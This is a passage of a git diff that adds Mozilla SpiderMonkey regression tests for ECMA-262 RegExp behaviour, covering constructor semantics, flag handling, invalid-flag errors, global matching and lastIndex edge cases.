+patterns[2] = '(.*)(3-1)\s\w';
+patterns[3] = '(.*)(...)\\s\\w';
+patterns[4] = '[^A-Za-z0-9_]';
+patterns[5] = '[^\f\n\r\t\v](123.5)([4 - 8]$)';
+
+// various flags to try -
+flags[0] = 'i';
+flags[1] = 'g';
+flags[2] = 'm';
+flags[3] = undefined;
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (i in patterns)
+ {
+ s = patterns[i];
+
+ for (j in flags)
+ {
+ f = flags[j];
+ status = getStatus(s, f);
+ obj = new RegExp(s, f);
+
+ actual = (obj == RegExp(obj))? cnSUCCESS : cnFAILURE;
+ expect = cnSUCCESS;
+ reportCompare (expect, actual, status);
+ }
+ }
+
+ exitFunc ('test');
+}
+
+
+function getStatus(regexp, flag)
+{
+ return (statprefix + quote(regexp) + comma + flag + closeparens);
+}
+
+
+function quote(text)
+{
+ return (singlequote + text + singlequote);
+}
diff --git a/js/src/tests/ecma_3/RegExp/15.10.3.1-2.js b/js/src/tests/ecma_3/RegExp/15.10.3.1-2.js
new file mode 100644
index 000000000..777bb43d4
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/15.10.3.1-2.js
@@ -0,0 +1,110 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 26 November 2000
+ *
+ *
+ * SUMMARY: Passing (RegExp object, flag) to RegExp() function.
+ * This test arose from Bugzilla bug 61266. The ECMA3 section is:
+ *
+ * 15.10.3 The RegExp Constructor Called as a Function
+ *
+ * 15.10.3.1 RegExp(pattern, flags)
+ *
+ * If pattern is an object R whose [[Class]] property is "RegExp"
+ * and flags is undefined, then return R unchanged. Otherwise
+ * call the RegExp constructor (section 15.10.4.1), passing it the
+ * pattern and flags arguments and return the object constructed
+ * by that constructor.
+ *
+ *
+ * The current test will check the first scenario outlined above:
+ *
+ * "pattern" is itself a RegExp object R
+ * "flags" is undefined
+ *
+ * This test is identical to test 15.10.3.1-1.js, except here we do:
+ *
+ * RegExp(R, undefined);
+ *
+ * instead of:
+ *
+ * RegExp(R);
+ *
+ *
+ * We check that RegExp(R, undefined) returns R -
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = '61266';
+var summary = 'Passing (RegExp object,flag) to RegExp() function';
+var statprefix = 'RegExp(new RegExp(';
+var comma = ', '; var singlequote = "'"; var closeparens = '))';
+var cnSUCCESS = 'RegExp() returned the supplied RegExp object';
+var cnFAILURE = 'RegExp() did NOT return the supplied RegExp object';
+var i = -1; var j = -1; var s = ''; var f = '';
+var obj = {};
+var status = ''; var actual = ''; var expect = '';
+var patterns = new Array();
+var flags = new Array();
+
+
+// various regular expressions to try -
+patterns[0] = '';
+patterns[1] = 'abc';
+patterns[2] = '(.*)(3-1)\s\w';
+patterns[3] = '(.*)(...)\\s\\w';
+patterns[4] = '[^A-Za-z0-9_]';
+patterns[5] = '[^\f\n\r\t\v](123.5)([4 - 8]$)';
+
+// various flags to try -
+flags[0] = 'i';
+flags[1] = 'g';
+flags[2] = 'm';
+flags[3] = undefined;
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (i in patterns)
+ {
+ s = patterns[i];
+
+ for (j in flags)
+ {
+ f = flags[j];
+ status = getStatus(s, f);
+ obj = new RegExp(s, f);
+
+ actual = (obj == RegExp(obj, undefined))? cnSUCCESS : cnFAILURE ;
+ expect = cnSUCCESS;
+ reportCompare (expect, actual, status);
+ }
+ }
+
+ exitFunc ('test');
+}
+
+
+function getStatus(regexp, flag)
+{
+ return (statprefix + quote(regexp) + comma + flag + closeparens);
+}
+
+
+function quote(text)
+{
+ return (singlequote + text + singlequote);
+}
diff --git a/js/src/tests/ecma_3/RegExp/15.10.4.1-1.js b/js/src/tests/ecma_3/RegExp/15.10.4.1-1.js
new file mode 100644
index 000000000..6a3ff20a7
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/15.10.4.1-1.js
@@ -0,0 +1,93 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 26 November 2000
+ *
+ *
+ *SUMMARY: Passing a RegExp object to a RegExp() constructor.
+ *This test arose from Bugzilla bug 61266. The ECMA3 section is:
+ *
+ * 15.10.4.1 new RegExp(pattern, flags)
+ *
+ * If pattern is an object R whose [[Class]] property is "RegExp" and
+ * flags is undefined, then let P be the pattern used to construct R
+ * and let F be the flags used to construct R. If pattern is an object R
+ * whose [[Class]] property is "RegExp" and flags is not undefined,
+ * then throw a TypeError exception. Otherwise, let P be the empty string
+ * if pattern is undefined and ToString(pattern) otherwise, and let F be
+ * the empty string if flags is undefined and ToString(flags) otherwise.
+ *
+ *
+ *The current test will check the first scenario outlined above:
+ *
+ * "pattern" is itself a RegExp object R
+ * "flags" is undefined
+ *
+ * We check that a new RegExp object obj2 defined from these parameters
+ * is morally the same as the original RegExp object obj1. Of course, they
+ * can't be equal as objects - so we check their enumerable properties...
+ *
+ * In this test, the initial RegExp object obj1 will not include a
+ * flag. The flags parameter for obj2 will be undefined in the sense
+ * of not being provided.
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = '61266';
+var summary = 'Passing a RegExp object to a RegExp() constructor';
+var statprefix = 'Applying RegExp() twice to pattern ';
+var statsuffix = '; testing property ';
+var singlequote = "'";
+var i = -1; var s = '';
+var obj1 = {}; var obj2 = {};
+var status = ''; var actual = ''; var expect = ''; var msg = '';
+var patterns = new Array();
+
+
+// various regular expressions to try -
+patterns[0] = '';
+patterns[1] = 'abc';
+patterns[2] = '(.*)(3-1)\s\w';
+patterns[3] = '(.*)(...)\\s\\w';
+patterns[4] = '[^A-Za-z0-9_]';
+patterns[5] = '[^\f\n\r\t\v](123.5)([4 - 8]$)';
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (i in patterns)
+ {
+ s = patterns[i];
+ status =getStatus(s);
+ obj1 = new RegExp(s);
+ obj2 = new RegExp(obj1);
+
+ reportCompare (obj1 + '', obj2 + '', status);
+ }
+
+ exitFunc ('test');
+}
+
+
+function getStatus(regexp)
+{
+ return (statprefix + quote(regexp) + statsuffix);
+}
+
+
+function quote(text)
+{
+ return (singlequote + text + singlequote);
+}
diff --git a/js/src/tests/ecma_3/RegExp/15.10.4.1-2.js b/js/src/tests/ecma_3/RegExp/15.10.4.1-2.js
new file mode 100644
index 000000000..71fe58d19
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/15.10.4.1-2.js
@@ -0,0 +1,99 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 26 November 2000
+ *
+ *
+ *SUMMARY: Passing a RegExp object to a RegExp() constructor.
+ *This test arose from Bugzilla bug 61266. The ECMA3 section is:
+ *
+ * 15.10.4.1 new RegExp(pattern, flags)
+ *
+ * If pattern is an object R whose [[Class]] property is "RegExp" and
+ * flags is undefined, then let P be the pattern used to construct R
+ * and let F be the flags used to construct R. If pattern is an object R
+ * whose [[Class]] property is "RegExp" and flags is not undefined,
+ * then throw a TypeError exception. Otherwise, let P be the empty string
+ * if pattern is undefined and ToString(pattern) otherwise, and let F be
+ * the empty string if flags is undefined and ToString(flags) otherwise.
+ *
+ *
+ *The current test will check the first scenario outlined above:
+ *
+ * "pattern" is itself a RegExp object R
+ * "flags" is undefined
+ *
+ * We check that a new RegExp object obj2 defined from these parameters
+ * is morally the same as the original RegExp object obj1. Of course, they
+ * can't be equal as objects - so we check their enumerable properties...
+ *
+ * In this test, the initial RegExp object obj1 will not include a
+ * flag. This test is identical to test 15.10.4.1-1.js, except that
+ * here we use this syntax:
+ *
+ * obj2 = new RegExp(obj1, undefined);
+ *
+ * instead of:
+ *
+ * obj2 = new RegExp(obj1);
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = '61266';
+var summary = 'Passing a RegExp object to a RegExp() constructor';
+var statprefix = 'Applying RegExp() twice to pattern ';
+var statsuffix = '; testing property ';
+var singlequote = "'";
+var i = -1; var s = '';
+var obj1 = {}; var obj2 = {};
+var status = ''; var actual = ''; var expect = ''; var msg = '';
+var patterns = new Array();
+
+
+// various regular expressions to try -
+patterns[0] = '';
+patterns[1] = 'abc';
+patterns[2] = '(.*)(3-1)\s\w';
+patterns[3] = '(.*)(...)\\s\\w';
+patterns[4] = '[^A-Za-z0-9_]';
+patterns[5] = '[^\f\n\r\t\v](123.5)([4 - 8]$)';
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (i in patterns)
+ {
+ s = patterns[i];
+ status =getStatus(s);
+ obj1 = new RegExp(s);
+ obj2 = new RegExp(obj1, undefined); // see introduction to bug
+
+ reportCompare (obj1 + '', obj2 + '', status);
+ }
+
+ exitFunc ('test');
+}
+
+
+function getStatus(regexp)
+{
+ return (statprefix + quote(regexp) + statsuffix);
+}
+
+
+function quote(text)
+{
+ return (singlequote + text + singlequote);
+}
diff --git a/js/src/tests/ecma_3/RegExp/15.10.4.1-3.js b/js/src/tests/ecma_3/RegExp/15.10.4.1-3.js
new file mode 100644
index 000000000..15959ef5e
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/15.10.4.1-3.js
@@ -0,0 +1,105 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 26 November 2000
+ *
+ *
+ *SUMMARY: Passing a RegExp object to a RegExp() constructor.
+ *This test arose from Bugzilla bug 61266. The ECMA3 section is:
+ *
+ * 15.10.4.1 new RegExp(pattern, flags)
+ *
+ * If pattern is an object R whose [[Class]] property is "RegExp" and
+ * flags is undefined, then let P be the pattern used to construct R
+ * and let F be the flags used to construct R. If pattern is an object R
+ * whose [[Class]] property is "RegExp" and flags is not undefined,
+ * then throw a TypeError exception. Otherwise, let P be the empty string
+ * if pattern is undefined and ToString(pattern) otherwise, and let F be
+ * the empty string if flags is undefined and ToString(flags) otherwise.
+ *
+ *
+ *The current test will check the first scenario outlined above:
+ *
+ * "pattern" is itself a RegExp object R
+ * "flags" is undefined
+ *
+ * We check that a new RegExp object obj2 defined from these parameters
+ * is morally the same as the original RegExp object obj1. Of course, they
+ * can't be equal as objects - so we check their enumerable properties...
+ *
+ * In this test, the initial RegExp obj1 will include a flag. The flags
+ * parameter for obj2 will be undefined in the sense of not being provided.
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = '61266';
+var summary = 'Passing a RegExp object to a RegExp() constructor';
+var statprefix = 'Applying RegExp() twice to pattern ';
+var statmiddle = ' and flag ';
+var statsuffix = '; testing property ';
+var singlequote = "'";
+var i = -1; var j = -1; var s = '';
+var obj1 = {}; var obj2 = {};
+var status = ''; var actual = ''; var expect = ''; var msg = '';
+var patterns = new Array();
+var flags = new Array();
+
+
+// various regular expressions to try -
+patterns[0] = '';
+patterns[1] = 'abc';
+patterns[2] = '(.*)(3-1)\s\w';
+patterns[3] = '(.*)(...)\\s\\w';
+patterns[4] = '[^A-Za-z0-9_]';
+patterns[5] = '[^\f\n\r\t\v](123.5)([4 - 8]$)';
+
+// various flags to try -
+flags[0] = 'i';
+flags[1] = 'g';
+flags[2] = 'm';
+flags[3] = undefined;
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (i in patterns)
+ {
+ s = patterns[i];
+
+ for (j in flags)
+ {
+ f = flags[j];
+ status = getStatus(s, f);
+ obj1 = new RegExp(s, f);
+ obj2 = new RegExp(obj1);
+
+ reportCompare (obj1 + '', obj2 + '', status);
+ }
+ }
+
+ exitFunc ('test');
+}
+
+
+function getStatus(regexp, flag)
+{
+ return (statprefix + quote(regexp) + statmiddle + flag + statsuffix);
+}
+
+
+function quote(text)
+{
+ return (singlequote + text + singlequote);
+}
diff --git a/js/src/tests/ecma_3/RegExp/15.10.4.1-4.js b/js/src/tests/ecma_3/RegExp/15.10.4.1-4.js
new file mode 100644
index 000000000..455e1d248
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/15.10.4.1-4.js
@@ -0,0 +1,112 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 26 November 2000
+ *
+ *
+ *SUMMARY: Passing a RegExp object to a RegExp() constructor.
+ *This test arose from Bugzilla bug 61266. The ECMA3 section is:
+ *
+ * 15.10.4.1 new RegExp(pattern, flags)
+ *
+ * If pattern is an object R whose [[Class]] property is "RegExp" and
+ * flags is undefined, then let P be the pattern used to construct R
+ * and let F be the flags used to construct R. If pattern is an object R
+ * whose [[Class]] property is "RegExp" and flags is not undefined,
+ * then throw a TypeError exception. Otherwise, let P be the empty string
+ * if pattern is undefined and ToString(pattern) otherwise, and let F be
+ * the empty string if flags is undefined and ToString(flags) otherwise.
+ *
+ *
+ *The current test will check the first scenario outlined above:
+ *
+ * "pattern" is itself a RegExp object R
+ * "flags" is undefined
+ *
+ * We check that a new RegExp object obj2 defined from these parameters
+ * is morally the same as the original RegExp object obj1. Of course, they
+ * can't be equal as objects - so we check their enumerable properties...
+ *
+ * In this test, the initial RegExp object obj1 will include a
+ * flag. This test is identical to test 15.10.4.1-3.js, except that
+ * here we use this syntax:
+ *
+ * obj2 = new RegExp(obj1, undefined);
+ *
+ * instead of:
+ *
+ * obj2 = new RegExp(obj1);
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = '61266';
+var summary = 'Passing a RegExp object to a RegExp() constructor';
+var statprefix = 'Applying RegExp() twice to pattern ';
+var statmiddle = ' and flag ';
+var statsuffix = '; testing property ';
+var singlequote = "'";
+var i = -1; var j = -1; var s = '';
+var obj1 = {}; var obj2 = {};
+var status = ''; var actual = ''; var expect = ''; var msg = '';
+var patterns = new Array();
+var flags = new Array();
+
+
+// various regular expressions to try -
+patterns[0] = '';
+patterns[1] = 'abc';
+patterns[2] = '(.*)(3-1)\s\w';
+patterns[3] = '(.*)(...)\\s\\w';
+patterns[4] = '[^A-Za-z0-9_]';
+patterns[5] = '[^\f\n\r\t\v](123.5)([4 - 8]$)';
+
+// various flags to try -
+flags[0] = 'i';
+flags[1] = 'g';
+flags[2] = 'm';
+flags[3] = undefined;
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (i in patterns)
+ {
+ s = patterns[i];
+
+ for (j in flags)
+ {
+ f = flags[j];
+ status = getStatus(s, f);
+ obj1 = new RegExp(s, f);
+ obj2 = new RegExp(obj1, undefined); // see introduction to bug
+
+ reportCompare (obj1 + '', obj2 + '', status);
+ }
+ }
+
+ exitFunc ('test');
+}
+
+
+function getStatus(regexp, flag)
+{
+ return (statprefix + quote(regexp) + statmiddle + flag + statsuffix);
+}
+
+
+function quote(text)
+{
+ return (singlequote + text + singlequote);
+}
diff --git a/js/src/tests/ecma_3/RegExp/15.10.4.1-6.js b/js/src/tests/ecma_3/RegExp/15.10.4.1-6.js
new file mode 100644
index 000000000..104e83ee6
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/15.10.4.1-6.js
@@ -0,0 +1,62 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ 15.10.4.1 new RegExp(pattern, flags)
+
+ If F contains any character other than "g", "i", or" m", or if it
+ contains the same one more than once, then throw a SyntaxError
+ exception.
+*/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 476940;
+var summary = 'Section 15.10.4.1 - RegExp with invalid flags';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var invalidflags = ['ii', 'gg', 'mm', 'a'];
+
+ for (var i = 0; i < invalidflags.length; i++)
+ {
+ var flag = invalidflags[i];
+ expect = 'SyntaxError: invalid regular expression flag ' + flag.charAt(0);
+ actual = '';
+ try
+ {
+ new RegExp('bar', flag);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary +
+ ': new RegExp("bar", "' + flag + '")');
+
+ actual = '';
+ try
+ {
+ eval("/bar/" + flag);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /bar/' + flag + ')');
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/15.10.6.2-1.js b/js/src/tests/ecma_3/RegExp/15.10.6.2-1.js
new file mode 100644
index 000000000..9717ba217
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/15.10.6.2-1.js
@@ -0,0 +1,106 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 23 October 2001
+ *
+ * SUMMARY: Testing regexps with the global flag set.
+ * NOT every substring fitting the given pattern will be matched.
+ * The parent string is CONSUMED as successive matches are found.
+ *
+ * From the ECMA-262 Final spec:
+ *
+ * 15.10.6.2 RegExp.prototype.exec(string)
+ * Performs a regular expression match of string against the regular
+ * expression and returns an Array object containing the results of
+ * the match, or null if the string did not match.
+ *
+ * The string ToString(string) is searched for an occurrence of the
+ * regular expression pattern as follows:
+ *
+ * 1. Let S be the value of ToString(string).
+ * 2. Let length be the length of S.
+ * 3. Let lastIndex be the value of the lastIndex property.
+ * 4. Let i be the value of ToInteger(lastIndex).
+ * 5. If the global property is false, let i = 0.
+ * 6. If i < 0 or i > length then set lastIndex to 0 and return null.
+ * 7. Call [[Match]], giving it the arguments S and i.
+ * If [[Match]] returned failure, go to step 8;
+ * otherwise let r be its State result and go to step 10.
+ * 8. Let i = i+1.
+ * 9. Go to step 6.
+ * 10. Let e be r's endIndex value.
+ * 11. If the global property is true, set lastIndex to e.
+ *
+ * etc.
+ *
+ *
+ * So when the global flag is set, |lastIndex| is incremented every time
+ * there is a match; not from i to i+1, but from i to "endIndex" e:
+ *
+ * e = (index of last input character matched so far by the pattern) + 1
+ *
+ * Thus in the example below, the first endIndex e occurs after the
+ * first match 'a b'. The next match will begin AFTER this, and so
+ * will NOT be 'b c', but rather 'c d'. Similarly, 'd e' won't be matched.
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Testing regexps with the global flag set';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+status = inSection(1);
+string = 'a b c d e';
+pattern = /\w\s\w/g;
+actualmatch = string.match(pattern);
+expectedmatch = ['a b','c d']; // see above explanation -
+addThis();
+
+
+status = inSection(2);
+string = '12345678';
+pattern = /\d\d\d/g;
+actualmatch = string.match(pattern);
+expectedmatch = ['123','456'];
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/15.10.6.2-2.js b/js/src/tests/ecma_3/RegExp/15.10.6.2-2.js
new file mode 100644
index 000000000..eb544cb35
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/15.10.6.2-2.js
@@ -0,0 +1,294 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 18 Feb 2002
+ * SUMMARY: Testing re.exec(str) when re.lastIndex is < 0 or > str.length
+ *
+ * Case 1: If re has the global flag set, then re(str) should be null
+ * Case 2: If re doesn't have this set, then re(str) should be unaffected
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=76717
+ *
+ *
+ * From the ECMA-262 Final spec:
+ *
+ * 15.10.6.2 RegExp.prototype.exec(string)
+ * Performs a regular expression match of string against the regular
+ * expression and returns an Array object containing the results of
+ * the match, or null if the string did not match.
+ *
+ * The string ToString(string) is searched for an occurrence of the
+ * regular expression pattern as follows:
+ *
+ * 1. Let S be the value of ToString(string).
+ * 2. Let length be the length of S.
+ * 3. Let lastIndex be the value of the lastIndex property.
+ * 4. Let i be the value of ToInteger(lastIndex).
+ * 5. If the global property is false, let i = 0.
+ * 6. If i < 0 or i > length then set lastIndex to 0 and return null.
+ * 7. Call [[Match]], giving it the arguments S and i.
+ * If [[Match]] returned failure, go to step 8;
+ * otherwise let r be its State result and go to step 10.
+ * 8. Let i = i+1.
+ * 9. Go to step 6.
+ * 10. Let e be r's endIndex value.
+ * 11. If the global property is true, set lastIndex to e.
+ *
+ * etc.
+ *
+ *
+ * So:
+ *
+ * A. If the global flag is not set, |lastIndex| is set to 0
+ * before the match is attempted; thus the match is unaffected.
+ *
+ * B. If the global flag IS set and re.lastIndex is >= 0 and <= str.length,
+ * |lastIndex| is incremented every time there is a match; not from
+ * i to i+1, but from i to "endIndex" e:
+ *
+ * e = (index of last input character matched so far by the pattern) + 1
+ *
+ * The match is then attempted from this position in the string (Step 7).
+ *
+ * C. When the global flag IS set and re.lastIndex is < 0 or > str.length,
+ * |lastIndex| is set to 0 and the match returns null.
+ *
+ *
+ * Note the |lastIndex| property is writeable, and may be set arbitrarily
+ * by the programmer - and we will do that below.
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 76717;
+var summary = 'Testing re.exec(str) when re.lastIndex is < 0 or > str.length';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+/******************************************************************************
+ *
+ * Case 1 : when the global flag is set -
+ *
+ *****************************************************************************/
+pattern = /abc/gi;
+string = 'AbcaBcabC';
+
+status = inSection(1);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc');
+addThis();
+
+status = inSection(2);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('aBc');
+addThis();
+
+status = inSection(3);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('abC');
+addThis();
+
+/*
+ * At this point |lastIndex| is > string.length, so the match should be null -
+ */
+status = inSection(4);
+actualmatch = pattern.exec(string);
+expectedmatch = null;
+addThis();
+
+/*
+ * Now try some edge-case values. Thanks to the work done in
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=124339, |lastIndex|
+ * is now stored as a double instead of a uint32_t (unsigned integer).
+ *
+ * Note 2^32 -1 is the upper bound for uint32's, but doubles can go
+ * all the way up to Number.MAX_VALUE. So that's why we need cases
+ * between those two numbers.
+ */
+status = inSection(6);
+pattern.lastIndex = Math.pow(2,32);
+actualmatch = pattern.exec(string);
+expectedmatch = null;
+addThis();
+
+status = inSection(8);
+pattern.lastIndex = Math.pow(2,32) + 1;
+actualmatch = pattern.exec(string);
+expectedmatch = null;
+addThis();
+
+status = inSection(10);
+pattern.lastIndex = Math.pow(2,32) * 2;
+actualmatch = pattern.exec(string);
+expectedmatch = null;
+addThis();
+
+status = inSection(12);
+pattern.lastIndex = Math.pow(2,40);
+actualmatch = pattern.exec(string);
+expectedmatch = null;
+addThis();
+
+status = inSection(14);
+pattern.lastIndex = Number.MAX_VALUE;
+actualmatch = pattern.exec(string);
+expectedmatch = null;
+addThis();
+
+
+
+/******************************************************************************
+ *
+ * Case 2: repeat all the above cases WITHOUT the global flag set.
+ * According to EMCA. |lastIndex| should get set to 0 before the match.
+ *
+ * Therefore re.exec(str) should be unaffected; thus our expected values
+ * below are now DIFFERENT when |lastIndex| is < 0 or > str.length
+ *
+ *****************************************************************************/
+
+pattern = /abc/i;
+string = 'AbcaBcabC';
+
+status = inSection(16);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc');
+addThis();
+
+status = inSection(17);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc'); // NOT Array('aBc') as before -
+addThis();
+
+status = inSection(18);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc'); // NOT Array('abC') as before -
+addThis();
+
+/*
+ * At this point above, |lastIndex| WAS > string.length, but not here -
+ */
+status = inSection(19);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -
+ addThis();
+
+/*
+ * Now let's set |lastIndex| to -1
+ */
+status = inSection(20);
+pattern.lastIndex = -1;
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -
+ addThis();
+
+/*
+ * Now try some edge-case values. Thanks to the work done in
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=124339, |lastIndex|
+ * is now stored as a double instead of a uint32_t (unsigned integer).
+ *
+ * Note 2^32 -1 is the upper bound for uint32's, but doubles can go
+ * all the way up to Number.MAX_VALUE. So that's why we need cases
+ * between those two numbers.
+ */
+status = inSection(21);
+pattern.lastIndex = Math.pow(2,32);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -
+ addThis();
+
+status = inSection(22);
+pattern.lastIndex = -Math.pow(2,32);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -
+ addThis();
+
+status = inSection(23);
+pattern.lastIndex = Math.pow(2,32) + 1;
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -
+ addThis();
+
+status = inSection(24);
+pattern.lastIndex = -(Math.pow(2,32) + 1);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -
+ addThis();
+
+status = inSection(25);
+pattern.lastIndex = Math.pow(2,32) * 2;
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -
+ addThis();
+
+status = inSection(26);
+pattern.lastIndex = -Math.pow(2,32) * 2;
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -
+ addThis();
+
+status = inSection(27);
+pattern.lastIndex = Math.pow(2,40);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -;
+ addThis();
+
+status = inSection(28);
+pattern.lastIndex = -Math.pow(2,40);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -
+ addThis();
+
+status = inSection(29);
+pattern.lastIndex = Number.MAX_VALUE;
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -
+ addThis();
+
+status = inSection(30);
+pattern.lastIndex = -Number.MAX_VALUE;
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -
+ addThis();
+
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/browser.js b/js/src/tests/ecma_3/RegExp/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/browser.js
diff --git a/js/src/tests/ecma_3/RegExp/octal-001.js b/js/src/tests/ecma_3/RegExp/octal-001.js
new file mode 100644
index 000000000..449384b4b
--- /dev/null
